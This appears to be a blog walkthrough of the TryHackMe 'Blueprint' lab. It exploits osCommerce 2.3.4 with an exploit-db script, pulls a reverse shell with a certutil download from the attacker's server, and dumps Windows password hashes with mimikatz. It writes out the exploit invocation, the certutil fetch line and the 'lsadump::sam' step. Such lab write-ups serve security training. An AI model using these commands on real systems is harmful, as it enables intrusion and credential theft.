BLUEPRINT

I’m going to do the resolution of Easy Level from Tryhackme called Blueprint which is so easy to do.

Firstly; we have to open a new Shell terminal in our virtual machine and we have to execute this command you can see in the picture below which we'll be able to do the port scans.

In addition, as we know the open ports we’re going to use this param -A(user scripts from Nmap to look at vulnerabilities) and sV which it will give if it’s possible versions in each ports you want to analyze in the four pictures you can observe below.

In addition, as we know the open ports we’re going to use this param -A(user scripts from Nmap to look at vulnerabilities) and sV which it will give if it’s possible versions in each ports you want to analyze in the four pictures you can observe below.

Now as I´ve verify in the 80 port when I introduce IP Address from victim machine I get it a mistake.

But 8080 port in the screenshots the nmap script  has discovered a vulnerability which  is oscommerce.2.3.4  which may be vulnerable you can observe in the picture below.

In addition, as we've seen can be vulnerable I can try to search it in the web browser which is: https://www.exploit-db.com/ and let's go to find out and we can see in the next following.

Now, we have to click this link and we have to try this exploit you can observe in the picture below and we'll have to download to try if it's useful.

To try it, we have to give perms such as execution and we have to execute chmod +x  command  and exploit in my case is 50128.py which has been created in Python.

Now, we'll have to execute the exploit because we need to see if it can be able to useful with this format which has been successful you can see un the picture below.

python3 50128.py http://10.10.114.215/oscommerce-2.3.4/catalog/

As we have observed that in this moment only I can be listing things but  the Shell isn't so intuitive, I'm going to make Reverse Shell if I want to be more interactive  and it can be more easy than before, for it, I've used this command you can see in the picture below.

Now we have to use this command that you can see below to open our Python3 server v de and we can be able to obtain Reverse Shell just after.

Now, we can use the command you can observe now below:

certutil.exe -urlcache -f http://10.2.11.235:8080/shell.exe \shell.exe

IP Address you can observe is from attacker and the port which has been opened  as well, but we can see the attack has been done successful because you can see the letter Online and we 've got download this file and execute after.

And we can see that a query has been made to our Python3 server, so the request has been made correctly.

Obviously, we must open listing in the 4444 number because in our Reverse Shell the port has been configurated in 4444 you can see following and we can observe the port has been connected after to open the  reverse Shell \shell.exe you can in the picture below.

Now as I have get it the NTLM from User Lab, I'm going to upload mimikatz at Windows machine to obtain the NTLM hash. So I'm going to open a Python3 server as I have done before and then we can run mimikatz that we can see in the two images below, but before that I'm going to see what architecture has Windows for it I will use this command that we can see below.

Now, since I have located the Windows architecture which is x86 we will have to use the Win32 mimikatz, so I'll see where mimikatz is located in Linux and copy it to the path in which it is located using the two commands that we can see in the next image below.

Now, we've to open the Python3 server by the 8080 port  and we have to execute the certutil command,  to download we can see in the both pictures below, but in the second picture we have to change from   \shell.exe to \mimikatz.exe.  

Just then, we'll execute mimikatz in this location C:\Windows  you can see in the picture below.

Now, If you want to obtain the hashes, you'll have to execute whatever you can see in the picture below which is lsadump::sam

Let's go to search the result on https://crackstation.net/  and we've obtained the results which is in the picture below where you have to write the hash and we have to click in crack hash.

Now we're going to discover the root flag if we go to the Administrator used called Admistrator and on  Desktop we'll be able to discover  root.txt.txt you can see in the picture below.

To sum up, here you have the root flag you can see in the picture below.

Thank you for reading this article

I hope you like it and learned something new 

Good hack